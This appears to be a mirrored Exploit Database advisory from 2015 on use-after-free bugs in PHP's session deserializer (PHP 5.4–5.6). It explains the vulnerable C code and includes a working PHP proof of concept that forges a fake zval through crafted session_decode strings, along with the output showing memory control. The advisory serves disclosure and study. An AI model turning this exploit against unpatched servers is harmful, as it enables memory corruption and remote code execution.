PHP Session Deserializer – Use-After-Free

• Exploit Database
• 95 阅读

• 作者： Taoguang Chen
  日期： 2015-09-09
• 类别：

  • dos
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/38123/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125

  Use After Free Vulnerabilities in Session Deserializer   Taoguang Chen <[@chtg](http://github.com/chtg)> Write Date: 2015.8.9 Release Date: 2015.9.4   Multiple use-after-free vulnerabilities were discovered in session deserializer (php/php_binary/php_serialize) that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.   Affected Versions ------------ Affected is PHP 5.6 < 5.6.13 Affected is PHP 5.5 < 5.5.29 Affected is PHP 5.4 < 5.4.45   Credits ------------ This vulnerability was disclosed by Taoguang Chen.   Description ------------   PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */ {   ...   PHP_VAR_UNSERIALIZE_INIT(var_hash);   p = val;   while (p < endptr) {   ...   if (has_value) { ALLOC_INIT_ZVAL(current); if (php_var_unserialize(&current, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) { php_set_session_var(name, namelen, current, &var_hashTSRMLS_CC); } zval_ptr_dtor(&current); } PS_ADD_VARL(name, namelen); skip: efree(name);   p = q; } break_outer_loop:   PHP_VAR_UNSERIALIZE_DESTROY(var_hash);   return SUCCESS; }     When session deserializer (php/php_binary) deserializing multiple data it will call to php_var_unserialize() multiple times. So we can create ZVAL and free it via the php_var_unserialize() with a crafted serialized string, and also free the memory (reduce the reference count of the ZVAL to zero) via zval_ptr_dtor() with deserialize two identical session data, then the next call to php_var_unserialize() will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely.   In some other cases, session deserializer (php/php_binary/php_serialize) may also lead to use-after-free vulnerabilities: i) via crafted Serializable::unserialize() ii) via unserialize()&apos;s callback function and zend_lookup_class() call a crafted __autoload().   Proof of Concept Exploit ------------ The PoC works on standard MacOSX 10.11 installation of PHP 5.4.44.     <?php   session_start();   $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00";   $exploit = &apos;ryat|a:2:{i:0;i:1;i:1;a:1:{i:1;chtg|a:1:{i:0;R:4;}&apos;; // $exploit = &apos;ryat|a:1:{i:0;i:1;}ryat|i:1;chtg|R:1;&apos;; session_decode($exploit);   for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; }   var_dump($_SESSION);   function ptr2str($ptr) { $out = ""; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }   ?>     Test the PoC on the command line:     $ php uafpoc.php array(2) { ["ryat"]=> NULL ["chtg"]=> array(1) { [0]=> int(1122334455)<===so we can control the memory and create fake ZVAL :) } }